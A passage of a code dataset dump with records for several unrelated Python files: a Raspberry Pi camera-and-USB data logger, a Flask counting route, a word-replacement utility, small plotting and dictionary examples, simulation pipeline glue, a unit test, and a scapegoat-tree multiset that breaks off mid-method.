at_least_one_switch_is_up()):\t# holding any switch up for long enough will clear error\n\t\t\t\tswitch_on_count = switch_on_count - 1\n\t\t\t\tif( switch_on_count <= 0 ):\n\t\t\t\t\terror_not_cleared = False\t\t\t\n\t\t\tif( LED_state == LED_ON ):\t\t# put error_number in binary on the LEDs\t\n\t\t\t\tLED_state = error_number & 0b00001\n\t\t\t\tGPIO.output( LED_read_from_USBdrive, LED_state )\n\t\t\t\tLED_state = ( error_number & 0b00010 ) >> 1\n\t\t\t\tGPIO.output( LED_save_to_USBdrive, LED_state )\n\t\t\t\tLED_state = ( error_number & 0b00100 ) >> 2\n\t\t\t\tGPIO.output( LED_collect_data, LED_state )\n\t\t\t\tLED_state = ( error_number & 0b01000 ) >> 3\n\t\t\t\tGPIO.output( LED_autonomous, LED_state )\n\t\t\t\tLED_state = ( error_number & 0b10000 ) >> 4\n\t\t\t\tGPIO.output( LED_shutdown_RPi, LED_state )\n\t\t\t\tLED_state = LED_OFF\t\n\t\t\telse:\n\t\t\t\tturn_OFF_all_LEDs_except_BOOT()\t\n\t\t\t\tLED_state = LED_ON\t\n\t\t\t\n\t\t\ttime.sleep( blinkSpeed )\n\n\t\tturn_OFF_all_LEDs_except_BOOT()\t\t# show the user the error has been cleared\n\t\n\t\t# don't leave until we're sure user released button\t\n\t\twhile True:\n\t\t\ttime.sleep( blinkSpeed )\t\t# executes delay at least once\n\t\t\tif ( all_switches_are_down()): break\n\t\n\t\tlogging.debug( \"*** exception cleared by user\\n\" )\n\t\tg_Current_Exception_Not_Finished = False\n\t\t \t\n# ------------------------------------------------- \ndef callback_switch_collect_data( channel ): \n\tglobal g_Recorded_Data_Not_Saved\n\tglobal g_Wants_To_See_Video\n\tglobal g_Camera_Is_Recording\n\tglobal g_camera\n\tglobal g_collector\n\t\t\n\tif( GPIO.input( SWITCH_collect_data ) == SWITCH_UP ):\n\t\tif( g_Camera_Is_Recording == False ):\n\t\t\ttry:\n\t\t\t\tturn_ON_LED( LED_collect_data )\t\t\t\t\t\n\t\t\t\tg_camera.start_recording( g_collector, format='rgb' )\n\t\t\t\tg_Camera_Is_Recording = True\n\t\t\t\tlogging.debug( '* camera is recording' )\n\t\t\t\tif ( g_Wants_To_See_Video ):\n\t\t\t\t\tg_camera.start_preview() #displays video while it's being recorded\n\n\t\t\texcept Exception as the_bad_news:\t\t\t\t\n\t\t\t\thandle_exception( the_bad_news )\n\t\t\t\n\t\telse:\n\t\t\tlogging.debug( '* warning: while recording, another rising transition detected on the collect data switch' )\n\t\t\n\telse:\t# a collect data switch down position has occurred\t\t\n\t\tif( g_Camera_Is_Recording == True ):\n\t\t\tlogging.debug( '* recording and now switch is down' )\n\t\t\ttry:\n\t\t\t\tif ( g_Wants_To_See_Video ):\n\t\t\t\t\tg_camera.stop_preview()\n\t\t\t\tg_camera.stop_recording()\t\t\t\n\t\t\t\tlogging.debug( 'OK: Camera recorded' )\n\n\t\t\texcept Exception as the_bad_news:\t\t\t\t\n\t\t\t\thandle_exception( the_bad_news )\n\t\t\t\tlogging.debug( 'NG: Camera NOT recorded' )\n\t\t\t\t\n\t\t\tfinally:\n\t\t\t\tg_Camera_Is_Recording = False\n\t\t\t\tg_Recorded_Data_Not_Saved = True\n\t\t\t\tturn_OFF_LED( LED_collect_data )\n\t\t\t\tlogging.debug( 'exiting collect data' )\n\n\t\telse:\n\t\t\t#\tthis should not happen\n\t\t\traise Exception( 31, 'NOT recording and a FALLING transition detected on the collect data switch' )\n\t\t \n# -------- Functions called by switch callback functions --------- \ndef callback_switch_save_to_USBdrive( channel ): \n\tglobal g_No_Callback_Function_Running\n\t\n\t# don't reenter an already running callback and don't respond to a high to low switch transition\n\tif(( g_No_Callback_Function_Running ) and ( GPIO.input( SWITCH_save_to_USBdrive ) == SWITCH_UP )): \n\t\tg_No_Callback_Function_Running = False\n\t\t\t\n\t\ttry:\n\t\t\tturn_ON_LED( LED_save_to_USBdrive )\n\n\t\t\tswitch_state = SWITCH_UP\n\t\t\twhile ( switch_state == SWITCH_UP ):\n\t\t\t\tswitch_state = GPIO.input( SWITCH_save_to_USBdrive )\n\t\n\t\t\t# do the copying ....\n\t\t\tlogging.debug( 'attempting to save Data folder to USB drive' )\n\t\t\t\n\t\t\t# \tcheck to see if the USB drive is mounted\n\t\t\tif( os.path.ismount( '/mnt/usbdrive' )):\n\t\t\t\tlogging.debug( 'OK: USB drive is mounted' )\n\t\t\t\n\t\t\telif(os.path.exists( '/dev/sda1')):\n\t\t\t\tcall ( 'mount /mnt/usbdrive', shell=True )\n\t\t\t\tlogging.debug( 'OK: USB drive is remounted' )\n\t\t\telse:\n\t\t\t\traise Exception( 3, 'error: USB drive not mounted at /mnt/usbdrive' )\n\t\t\t\t\t\t\t\t\n\t\t\tpi_data_folder_path = '/home/pi/autonomous/data'\n\t\t\tnowtime=datetime.datetime.now()\n\t\t\tusb_path_with_index = '/mnt/usbdrive/data_{0}'.format(nowtime.strftime(time_format))\n\t\t\tshutil.copytree( pi_data_folder_path, usb_path_with_index )\n\t\t\tlogging.debug( 'OK: folder copied to ' + usb_path_with_index )\n\t\t\t\n\t\t\tcall ( 'umount /mnt/usbdrive', shell=True )\n\t\t\tlogging.debug( 'OK: USB drive unmounted' )\n\t\t\tlogging.debug( 'OK: data saved to USB' )\n\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\texcept Exception as the_bad_news:\t\t\t\t\n\t\t\thandle_exception( the_bad_news )\n\t\t\tlogging.debug( 'NG: data NOT saved to USB' )\n\t\t\t\n\t\tfinally:\n\t\t\tg_No_Callback_Function_Running = True\n\t\t\tturn_OFF_LED( LED_save_to_USBdrive )\n\t\t\tlogging.debug( 'exiting save to USB drive' )\n\n\telse: \n\t\tlogging.debug( 'callback skipped: falling edge of save_to_USBdrive' )\n\t\n# ------------------------------------------------- \ndef callback_switch_read_from_USBdrive( channel ):\n\tglobal g_No_Callback_Function_Running\n\t\n\t# don't reenter an already running callback and don't respond to a high to low switch transition\n\tif(( g_No_Callback_Function_Running ) and ( GPIO.input( SWITCH_read_from_USBdrive ) == SWITCH_UP )): \n\t\tg_No_Callback_Function_Running = False\n\t\t\t\t\t\t\n\t\ttry:\n\t\t\tturn_ON_LED( LED_read_from_USBdrive )\n\t\t\tswitch_state = SWITCH_UP\n\t\t\twhile ( switch_state == SWITCH_UP ):\n\t\t\t\tswitch_state = GPIO.input( SWITCH_read_from_USBdrive )\n\t\n\t\t\t# do the reading ....\n\t\t\tlogging.debug( 'attempting to read /mnt/usbdrive/weights.h5' )\n\t\t\t\n\t\t\t# \tcheck to see if the USB drive is mounted\n\t\t\tif( os.path.ismount( '/mnt/usbdrive' )):\n\t\t\t\tlogging.debug( 'OK: USB drive is mounted' )\n\t\t\t\n\t\t\telif(os.path.exists( '/dev/sda1')):\n\t\t\t\tcall ( 'mount /mnt/usbdrive', shell=True )\n\t\t\t\tlogging.debug( 'OK: USB drive is remounted' )\n\t\t\telse:\n\t\t\t\traise Exception( 3, 'error: USB drive not mounted at /mnt/usbdrive' )\n\t\t\t\n\t\t\tusb_training_file_path = '/mnt/usbdrive/weights.h5'\n\t\t\tpi_training_file_path = '/home/pi/autonomous/nntrain/weights.h5'\n\n\t\t\tshutil.copy2( usb_training_file_path, pi_training_file_path )\t\n\t\t\tlogging.debug( 'OK: file copied ' + usb_training_file_path + ' to ' + pi_training_file_path )\n\t\t\t\n\t\t\tcall ( 'umount /mnt/usbdrive', shell=True )\n\t\t\tlogging.debug( 'OK: USB drive unmounted' )\n\t\t\tlogging.debug( 'OK: data read from USB' )\n\t\t\t\t\t\t\t\n\t\texcept Exception as the_bad_news:\t\t\t\t\n\t\t\thandle_exception( the_bad_news )\n\t\t\tlogging.debug( 'NG: data NOT read from USB' )\n\t\t\t\n\t\tfinally:\n\t\t\tg_No_Callback_Function_Running = True\n\t\t\tturn_OFF_LED( LED_read_from_USBdrive )\n\t\t\tlogging.debug( 'exiting read from USB drive' )\n\telse: \n\t\tlogging.debug( 'callback skipped: falling edge of read_from_USBdrive' )\n\t \n# ------------------------------------------------- \ndef callback_switch_autonomous( channel ): \n\tglobal g_No_Callback_Function_Running\n\n\t# don't reenter an already running callback and don't respond to a high to low switch transition\n\tif(( g_No_Callback_Function_Running ) and ( GPIO.input( SWITCH_autonomous ) == SWITCH_UP )): \n\t\tg_No_Callback_Function_Running = False\n\t\t\t\t\n\t\ttry:\n\t\t\tturn_ON_LED( LED_autonomous )\n\t\t\ttime.sleep( .1 )\t\t# debounce switch some more\n\t\t\t# do the autonomous ....\n\t\t\tlogging.debug( 'from autonmous:' )\n\t\t\traise Exception( 8, 'autonomous function not implemented yet' )\n\t\t\tlogging.debug( 'OK: automonous successful' )\t\t\t\n\t\n\t\texcept Exception as the_bad_news:\t\t\t\t\n\t\t\twhile( GPIO.input( SWITCH_autonomous ) == SWITCH_UP ): \t# wait for user to flip switch down before thowing error\n\t\t\t\tpass\n\t\t\t\t\n\t\t\thandle_exception( the_bad_news )\n\t\t\tlogging.debug( 'NG: automonous failure' )\t\t\t\n\t\t\t\n\t\tfinally:\n\t\t\tg_No_Callback_Function_Running = True\n\t\t\tturn_OFF_LED( LED_autonomous )\n\t\t\tlogging.debug( 'exiting autonomous' )\n\t\t\n\telse: \n\t\tlogging.debug( 'skipped: another callback from autonomous' )\n\n# ------------------------------------------------- \n#\tregular exception handling not used with shutdown function\ndef callback_switch_shutdown_RPi( channel ):\n\tglobal g_Recorded_Data_Not_Saved\n\tglobal g_No_Callback_Function_Running\n\n\t# don't reenter an already running callback and don't respond to a high to low switch transition\n\tif(( g_No_Callback_Function_Running ) and ( GPIO.input( SWITCH_shutdown_RPi ) == SWITCH_UP )): \n\t\tg_No_Callback_Function_Running = False\n\t\tlogging.debug( 'starting shutdown' )\t\t\n\t\t\n\t\twhile( GPIO.input( SWITCH_shutdown_RPi ) == SWITCH_UP ):\t# wait for user to release switch\n\t\t\tpass\n\t\t\t\n\t\ttime.sleep( .1 )\t# debounce switch\t\t\t\t\n\t\t\t\n\t\tif( g_Recorded_Data_Not_Saved ):\n\t\t\tblinkSpeed = .2\n\t\t\tpushed_up_count = 15\n\t\t\tLEDs_state = LED_ON\n\t\t\tshutdown_is_wanted = False\n\t\telse:\n\t\t\tshutdown_is_wanted = True\n\t\t\n\t\t#----------------------------------------------\n\t\t#\tRecorded data is not saved, check to see if user really wants to shutdown without saving\n\t\tif( shutdown_is_wanted == False ):\n\t\t\tuser_has_not_reacted = True\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\n\t\t\twhile( True ):\t\t# loop until break\n\t\t\t\tif( LEDs_state == LED_ON ):\t# blink all lights to signify data is unsaved\n\t\t\t\t\tturn_ON_all_LEDs()\n\t\t\t\t\tLEDs_state = LED_OFF\t\t\n\t\t\t\telse:\n\t\t\t\t\tturn_OFF_all_LEDs()\n\t\t\t\t\tLEDs_state = LED_ON\n\t\t\t\t\t\n\t\t\t\ttime.sleep( blinkSpeed )\t\t\t\t\t\n\n\t\t\t\tif( user_has_not_reacted ):\n\t\t\t\t\tif( GPIO.input( SWITCH_shutdown_RPi ) == SWITCH_UP ):\t# pushed up yet?\n\t\t\t\t\t\tuser_has_not_reacted = False\t\t\t# user has finally pushed switch up\t\t\n\t\t\t\n\t\t\t\t# switch has been pushed up again\n\t\t\t\telse:\t\n\t\t\t\t\tif( GPIO.input( SWITCH_shutdown_RPi ) == SWITCH_UP ):\t# still pushed up?\n\t\t\t\t\t\tpushed_up_count = pushed_up_count - 1\n\t\t\t\t\t\n\t\t\t\t\t\tif( pushed_up_count <= 0 ):\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tshutdown_is_wanted = True\n\t\t\t\t\t\t\tbreak\t\t\t# switch was pushed up long enough\t\t\t\t \n\t\t\t\t\telse:\t\t\t\t\t\t\t\n\t\t\t\t\t\tshutdown_is_wanted = False\n\t\t\t\t\t\tbreak\t\t\t\t# switch was pushed up but not for long enough\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t#----------------------------------------------\n\t\t\t\t\t\t\t\n\t\tif( shutdown_is_wanted ):\n\t\t\t# shut down pi, data saved or not\n\t\t\tturn_OFF_all_LEDs()\t\t# show the user the error has been cleared\n\t\t\tGPIO.output( OUTPUT_to_relay, RELAY_OFF )\n\t\t\tlogging.debug( 'calling pi shutdown' )\n\t\t\tos.system( 'shutdown now -h' )\n\t\t\n\t\t#\tuser changed his mind, exit function without shut down\n\t\tturn_OFF_all_LEDs()\t\t# show the user the shutdown has been stopped\n\t\tturn_ON_LED( LED_boot_RPi )\t# turn this one back on to show power is still on\n\t\tlogging.debug( 'user changed mind about shutdown' )\n\t\tg_No_Callback_Function_Running = True\n\t\t\n\telse: \n\t\tlogging.debug( 'skipped: another callback from shutdown_RPi' )\n\t\t\t\t \t\n# ------------------------------------------------- \ndef turn_OFF_all_LEDs():\n\tturn_OFF_LED( LED_save_to_USBdrive )\n\tturn_OFF_LED( LED_read_from_USBdrive )\n\tturn_OFF_LED( LED_collect_data )\n\tturn_OFF_LED( LED_shutdown_RPi )\n\tturn_OFF_LED( LED_autonomous )\n\tturn_OFF_LED( LED_boot_RPi )\n\n# ------------------------------------------------- \ndef turn_OFF_all_LEDs_except_BOOT():\n\tturn_OFF_LED( LED_save_to_USBdrive )\n\tturn_OFF_LED( LED_read_from_USBdrive )\n\tturn_OFF_LED( LED_collect_data )\n\tturn_OFF_LED( LED_shutdown_RPi )\n\tturn_OFF_LED( LED_autonomous )\n\t \t\n# ------------------------------------------------- \ndef turn_ON_all_LEDs():\n\tturn_ON_LED( LED_save_to_USBdrive )\n\tturn_ON_LED( LED_read_from_USBdrive )\n\tturn_ON_LED( LED_collect_data )\n\tturn_ON_LED( LED_shutdown_RPi )\n\tturn_ON_LED( LED_autonomous )\n\tturn_ON_LED( LED_boot_RPi )\n\t \t\n# ------------------------------------------------- \ndef initialize_RPi_Stuff():\n\tglobal g_camera\n\t\n\t# blink LEDs as an alarm if autonmous or collect switches have been left up\n\tLED_state = LED_ON\n\n\twhile( GPIO.input( SWITCH_collect_data ) == SWITCH_UP ):\n\t\tGPIO.output( LED_collect_data, LED_state )\n\t\ttime.sleep( .25 )\n\t\tLED_state = LED_state ^ 1\t\t# XOR bit to turn LEDs off or on\n\t\t\n\twhile( GPIO.input( SWITCH_autonomous ) == SWITCH_UP ): \n\t\tGPIO.output( LED_autonomous, LED_state )\n\t\ttime.sleep( .25 )\n\t\tLED_state = LED_state ^ 1\t\t# XOR bit to turn LEDs off or on\n\t\n\t# turn off all LEDs for initialization\n\tturn_OFF_all_LEDs()\n# ---------------- MAIN PROGRAM ------------------------------------- \n\nGPIO.setmode( GPIO.BCM ) \nGPIO.setwarnings( False )\n\n# falling edge detection setup for all switchs \nGPIO.setup( SWITCH_save_to_USBdrive, GPIO.IN, pull_up_down = GPIO.PUD_UP ) \nGPIO.setup( SWITCH_autonomous, GPIO.IN, pull_up_down = GPIO.PUD_UP ) \nGPIO.setup( SWITCH_read_from_USBdrive, GPIO.IN, pull_up_down = GPIO.PUD_UP ) \nGPIO.setup( SWITCH_shutdown_RPi, GPIO.IN, pull_up_down = GPIO.PUD_UP ) \nGPIO.setup( SWITCH_collect_data, GPIO.IN, pull_up_down = GPIO.PUD_UP ) \n\nGPIO.setup( LED_read_from_USBdrive, GPIO.OUT )\nGPIO.setup( LED_save_to_USBdrive, GPIO.OUT )\nGPIO.setup( LED_collect_data, GPIO.OUT )\nGPIO.setup( LED_shutdown_RPi, GPIO.OUT )\nGPIO.setup( LED_autonomous, GPIO.OUT )\nGPIO.setup( LED_boot_RPi, GPIO.OUT )\n\nGPIO.setup( OUTPUT_to_relay, GPIO.OUT )\n\n# setup callback routines for switch falling edge detection \n#\tNOTE: because of a RPi bug, sometimes a rising edge will also trigger these routines!\nGPIO.add_event_detect( SWITCH_save_to_USBdrive, GPIO.FALLING, callback=callback_switch_save_to_USBdrive, bouncetime=50 ) \nGPIO.add_event_detect( SWITCH_autonomous, GPIO.BOTH, callback=callback_switch_autonomous, bouncetime=50 ) \nGPIO.add_event_detect( SWITCH_read_from_USBdrive, GPIO.FALLING, callback=callback_switch_read_from_USBdrive, bouncetime=50 ) \nGPIO.add_event_detect( SWITCH_shutdown_RPi, GPIO.FALLING, callback=callback_switch_shutdown_RPi, bouncetime=50 ) \nGPIO.add_event_detect( SWITCH_collect_data, GPIO.BOTH, callback=callback_switch_collect_data, bouncetime=50 ) \n\ninitialize_RPi_Stuff()\n\t\nturn_ON_LED( LED_boot_RPi )\nGPIO.output( OUTPUT_to_relay, RELAY_ON )\n\nwhile ( True ):\t\n\tpass\n\t\n\t\n","repo_name":"dvbuntu/autonomous","sub_path":"services/ottoMicroLogger.py","file_name":"ottoMicroLogger.py","file_ext":"py","file_size_in_byte":23353,"program_lang":"python","lang":"en","doc_type":"code","stars":54,"dataset":"github-code","pt":"78"}
+{"seq_id":"12267569510","text":"import logging\nimport json\nfrom flask import request, jsonify\nfrom codeitsuisse import app\nfrom codeitsuisse import people\nlogger = logging.getLogger(__name__)\n\n\n@app.route('/fixedrace', methods=['POST'])\ndef counting():\n global people\n data = request.get_data(as_text=True)\n for i in data.split(\",\"):\n if i not in people:\n people[i] = 0\n people[i] += 1\n people = {k: v for k, v in sorted(\n people.items(), key=lambda item: item[1], reverse=True)}\n peopleName = list(people.keys())\n peopleName = [x for x in people.keys() if x in data.split(\",\")]\n logger.info(people)\n return \",\".join(peopleName[:10])\n\n\n@app.route('/fixedrace', methods=['GET'])\ndef tester():\n return \"Not Reachable\"\n","repo_name":"Andy-Li-l337/CodeIT-Suisse","sub_path":"codeitsuisse/routes/fixedrace.py","file_name":"fixedrace.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"39996331606","text":"import os\r\n\r\nfrom plzz.helper_functions.helper_functions import colors\r\nfrom plzz.helper_functions.snippets import __pathname_checker\r\n\r\n\r\ndef __replace_word(file_name, old_word, new_word):\r\n \"\"\"\r\n Replaces a specified word in all the files in a directory with a new word.\r\n\r\n Parameters:\r\n - dirname (str): The path of the directory.\r\n - old_word (str): The word to be replaced.\r\n - new_word (str): The replacement word.\r\n\r\n Returns:\r\n None\r\n \"\"\"\r\n if not os.path.isfile(file_name):\r\n print(\r\n \"{}{}ERROR: '{}' does not exist!{}\".format(\r\n colors.BOLD, colors.FAIL, file_name, colors.ENDC\r\n )\r\n )\r\n return\r\n\r\n try:\r\n # Open the file\r\n with open(file_name, \"r\") as f:\r\n contents = f.read()\r\n # Replace the word in the file\r\n tmp_contents = contents\r\n contents = contents.replace(old_word, new_word)\r\n if tmp_contents == contents:\r\n return False\r\n \r\n # Write the modified contents back to the file\r\n with open(file_name, \"w\") as f:\r\n f.write(contents)\r\n except OSError as e:\r\n print(\r\n \"{}{}ERROR: '{}' could not be modified!{}\".format(\r\n colors.BOLD, colors.FAIL, file_name, colors.ENDC\r\n )\r\n )\r\n\r\n\r\ndef replace_words_smartly(pathname:str,old_word:str,new_word:str):\r\n \"\"\" Replace all the words in a given file or all the files under a directory with a new word.\r\n\r\n Args:\r\n pathname (str): Path to a file or a directory.\r\n old_word (str): Word to replaced.\r\n new_word (str): Word to be replaced with.\r\n \"\"\"\r\n files = __pathname_checker(pathname)\r\n for file_name in files:\r\n flag = __replace_word(file_name,old_word,new_word)\r\n if flag == False:\r\n pass\r\n else:\r\n print(\r\n \"{}{}MODIFIED -> '{}'{}\".format(\r\n colors.BOLD, colors.OKGREEN, file_name, colors.ENDC\r\n )\r\n )\r\n\r\n \r\n \r\n \r\n","repo_name":"deep5050/plzz","sub_path":"plzz/commands/folder_organizations/replace_word.py","file_name":"replace_word.py","file_ext":"py","file_size_in_byte":2076,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"}
+{"seq_id":"308862468","text":"import matplotlib.pyplot as plt\n\nplt.figure(figsize=(18 , 18))\n\ndata = [1, 2, 3, 4], [1, 4, 9, 16]\nplt.plot( data[0] , data[1], 'ms--')\nplt.axis([0, 6, 0, 20])\n\n\nplt.grid(True); plt.show()\n\n\n","repo_name":"btrif/Python_dev_repo","sub_path":"Matlibplots/Plots/plot 03 - points.py","file_name":"plot 03 - points.py","file_ext":"py","file_size_in_byte":191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"19727765401","text":"\"\"\" Running Subregions in parallel \"\"\"\nimport simulations.processtags as tagger\nimport simulations.simulatereads.simreads as simreads\nimport simulations.harpsimulatedfrequencies as simharp\nimport harpsnp.harpclean as simclean\n\n\ndef subregion_processes(region_tags, pos1, pos2, replicate='A'):\n \"\"\"processes the individual subregions created by the blueprint\"\"\"\n for region_tag in region_tags:\n ftag = tagger.makeforqs_run(region_tag)\n ctags = tagger.make_constructor_tags(ftag, replicate)\n tagger.make_haplotypes(ctags)\n stags = tagger.make_simreads_tags(ctags, pos1, pos2)\n # simreads.index_snps(stags)\n tagger.write_simread_configs(stags)\n simreads.simreads_run(stags)\n simharp.simreads_harp(stags)\n simclean.SimClean()\n tagger.add_simfrequency_attribute(stags)\n tagger.write_frequency_comparison_file(stags)\n tagger.clean_region(stags)\n simharp.fst_whithinreplicate(stags)\n\n\nif __name__ == '__main__':\n pass\n # # trial[0]\n # ftest = tagger.makeforqs_run(trial[0])\n # ctest = tagger.make_constructor_tags(ftest, 'A')\n # tagger.make_haplotypes(ctest)\n # stest = tagger.make_simreads_tags(ctest)\n","repo_name":"transferome/Simulations","sub_path":"simulations/subregionprocess.py","file_name":"subregionprocess.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"23294482067","text":"\nfrom twisted.trial.unittest import TestCase\n\nfrom tests.utils import ObjectMaker\n\nfrom vusion.persist import UnmatchableReply\n\n\nclass TestUnmatchableReply(TestCase, ObjectMaker):\n \n def test_upgrade(self):\n unmatchable_reply = UnmatchableReply(**{\n 'participant-phone': '+24566666',\n 'to': '254-8181',\n 'direction': 'incoming',\n 'message-content': 'Hello',\n 'timestamp': '2014-04-22T10:10:10',\n })\n self.assertEqual(\n unmatchable_reply['model-version'], UnmatchableReply.MODEL_VERSION)","repo_name":"texttochange/vusion-backend","sub_path":"vusion/persist/unmatchable_reply/tests/test_unmatchable_reply.py","file_name":"test_unmatchable_reply.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"}
+{"seq_id":"8599821758","text":"if __name__ == '__main__':\n # Use tuple to create dictionary\n # let the state and capital to be in a tuple\n country = (\n (\"California\", \"Sacramento\"),\n (\"New York\", \"Albany\"),\n (\"Texas\", \"Austin\")\n )\n country = dict(country)\n print(country)\n","repo_name":"Kinsammy/PythonFiles","sub_path":"Dictionary/dict_built_in_using_tuple.py","file_name":"dict_built_in_using_tuple.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"33296195274","text":"import math\r\nfrom typing import Union, List, TypeVar, Generic, Iterable, Tuple\r\nT = TypeVar(\"T\")\r\n\r\n\r\nclass Node:\r\n \r\n def __init__(self, key, val: int):\r\n self.key = key\r\n self.val = val\r\n self.left = None\r\n self.right = None\r\n self.size = 1\r\n self.valsize = val\r\n\r\n def __str__(self):\r\n if self.left is None and self.right is None:\r\n return f'key:{self.key, self.val, self.size, self.valsize}\\n'\r\n return f'key:{self.key, self.val, self.size, self.valsize},\\n left:{self.left},\\n right:{self.right}\\n'\r\n\r\n\r\nclass ScapegoatTreeMultiSet(Generic[T]):\r\n \r\n alpha = 0.75\r\n beta = math.log2(1/alpha)\r\n \r\n def __init__(self, a: Iterable[T]=[]) -> None:\r\n self.node = None\r\n if a:\r\n self._build(a)\r\n\r\n def _rle(self, li: List[T]) -> List[Tuple[T, int]]:\r\n now = li[0]\r\n ret = [[now, 1]]\r\n for i in li[1:]:\r\n if i == now:\r\n ret[-1][1] += 1\r\n continue\r\n ret.append([i, 1])\r\n now = i\r\n return ret\r\n \r\n def _build(self, a: Iterable[T]) -> None:\r\n def sort(l: int, r: int) -> Node:\r\n mid = (l + r) >> 1\r\n node = Node(a[mid][0], a[mid][1])\r\n if l != mid:\r\n node.left = sort(l, mid)\r\n node.size += node.left.size\r\n node.valsize += node.left.valsize\r\n if mid+1 != r:\r\n node.right = sort(mid+1, r)\r\n node.size += node.right.size\r\n node.valsize += node.right.valsize\r\n return node\r\n a = self._rle(sorted(a))\r\n self.node = sort(0, len(a))\r\n \r\n def _rebuild(self, node: Node) -> Node:\r\n def get(node: Node) -> None:\r\n if node.left is not None:\r\n get(node.left)\r\n a.append(node)\r\n if node.right is not None:\r\n get(node.right)\r\n def sort(l: int, r: int) -> Node:\r\n mid = (l + r) >> 1\r\n node = a[mid]\r\n node.size = 1\r\n node.valsize = node.val\r\n if l != mid:\r\n node.left = sort(l, mid)\r\n node.size += node.left.size\r\n node.valsize += node.left.valsize\r\n else:\r\n node.left = None\r\n if mid+1 != r:\r\n node.right = sort(mid+1, r)\r\n node.size += node.right.size\r\n node.valsize += node.right.valsize\r\n else:\r\n node.right = None\r\n return node\r\n a = []\r\n get(node)\r\n return sort(0, len(a))\r\n \r\n def _kth_elm(self, k: int) -> Tuple[T, int]:\r\n if k < 0: k += self.__len__()\r\n node = self.node\r\n while True:\r\n t = node.val if node.left is None else node.val + node.left.valsize\r\n if t-node.val <= k and k < t:\r\n return node.key, node.val\r\n elif t > k:\r\n node = node.left\r\n else:\r\n node = node.right\r\n k -= t\r\n\r\n def _kth_elm_tree(self, k: int) -> Tuple[T, int]:\r\n if k < 0: k += self.len_elm()\r\n node = self.node\r\n while True:\r\n t = 0 if node.left is None else node.left.size\r\n if t == k:\r\n return node.key, node.val\r\n elif t > k:\r\n node = node.left\r\n else:\r\n node = node.right\r\n k -= t + 1\r\n\r\n def add(self, key: T, val: int=1) -> None:\r\n node = self.node\r\n if self.node is None:\r\n self.node = Node(key, val)\r\n return\r\n path = []\r\n while node is not None:\r\n path.append(node)\r\n if key == node.key:\r\n node.val += val\r\n for p in path:\r\n p.valsize += val\r\n return \r\n elif key < node.key:\r\n node = node.left\r\n else:\r\n node = node.right\r\n if key < path[-1].key:\r\n path[-1].left = Node(key, val)\r\n else:\r\n path[-1].right = Node(key, val)\r\n if len(path)*ScapegoatTreeMultiSet.beta > math.log(self.len_elm()):\r\n node_size = 1\r\n while path:\r\n pnode = path.pop()\r\n pnode_size = pnode.size + 1\r\n if ScapegoatTreeMultiSet.alpha * pnode_size < node_size:\r\n break\r\n node_size = pnode_size\r\n new_node = self._rebuild(pnode)\r\n if not path:\r\n self.node = new_node\r\n return\r\n if new_node.key < path[-1].key:\r\n path[-1].left = new_node\r\n else:\r\n path[-1].right = new_node\r\n for p in path:\r\n p.size += 1\r\n p.valsize += val\r\n return\r\n \r\n def _discard(self, key: T) -> bool:\r\n path = []\r\n node = self.node\r\n di = 1\r\n cnt = 0\r\n while node is not None:\r\n if key == node.key:\r\n break\r\n elif key < node.key:\r\n path.append(node)\r\n node = node.left\r\n di = 1\r\n else:\r\n path.append(node)\r\n node = node.right\r\n di = 0\r\n if node.left is not None and node.right is not None:\r\n path.append(node)\r\n lmax = node.left\r\n di = 1 if lmax.right is None else 0\r\n while lmax.right is not None:\r\n cnt += 1\r\n path.append(lmax)\r\n lmax = lmax.right\r\n lmax_val = lmax.val\r\n node.key = lmax.key\r\n node.val = lmax_val\r\n node = lmax\r\n cnode = node.right if node.left is None else node.left\r\n if path:\r\n if di == 1:\r\n path[-1].left = cnode\r\n else:\r\n path[-1].right = cnode\r\n else:\r\n self.node = cnode\r\n return True\r\n for _ in range(cnt):\r\n p = path.pop()\r\n p.size -= 1\r\n p.valsize -= lmax_val\r\n for p in path:\r\n p.size -= 1\r\n p.valsize -= 1\r\n return True\r\n\r\n def discard(self, key, val=1) -> bool:\r\n path = []\r\n node = self.node\r\n while node is not None:\r\n path.append(node)\r\n if key < node.key:\r\n node = node.left\r\n elif key > node.key:\r\n node = node.right\r\n else:\r\n break\r\n else:\r\n return False\r\n if val > node.val:\r\n val = node.val - 1\r\n if val > 0:\r\n node.val -= val\r\n while path:\r\n path.pop().valsize -= val\r\n if node.val == 1:\r\n self._discard(key)\r\n else:\r\n node.val -= val\r\n while path:\r\n path.pop().valsize -= val\r\n return True\r\n\r\n def count(self, key: T) -> int:\r\n node = self.node\r\n while node is not None:\r\n if key == node.key:\r\n return node.val\r\n elif key < node.key:\r\n node = node.left\r\n else:\r\n node = node.right\r\n return 0\r\n\r\n def discard_all(self, key: T) -> None:\r\n self.discard(key, self.count(key))\r\n\r\n '''Find the largest element <= key, or None if it doesn't exist. / O(logN)'''\r\n def le(self, key: T) -> Union[T, None]:\r\n res = None\r\n node = self.node\r\n while node is not None:\r\n if key == node.key:\r\n return key\r\n elif key < node.key:\r\n node = node.left\r\n else:\r\n res = node.key\r\n node = node.right\r\n return res\r\n\r\n '''Find the largest element < key, or None if it doesn't exist. / O(logN)'''\r\n def lt(self, key: T) -> Union[T, None]:\r\n res = None\r\n node = self.node\r\n while node is not None:\r\n if key <= node.key:\r\n node = node.left\r\n else:\r\n res = node.key\r\n node = node.right\r\n return res\r\n\r\n '''Find the smallest element >= key, or None if it doesn't exist. / O(logN)'''\r\n def ge(self, key: T) -> Union[T, None]:\r\n res = None\r\n node = self.node\r\n while node is not None:\r\n if key == node.key:\r\n return key\r\n elif key < node.key:\r\n res = node.key\r\n node = node.left\r\n 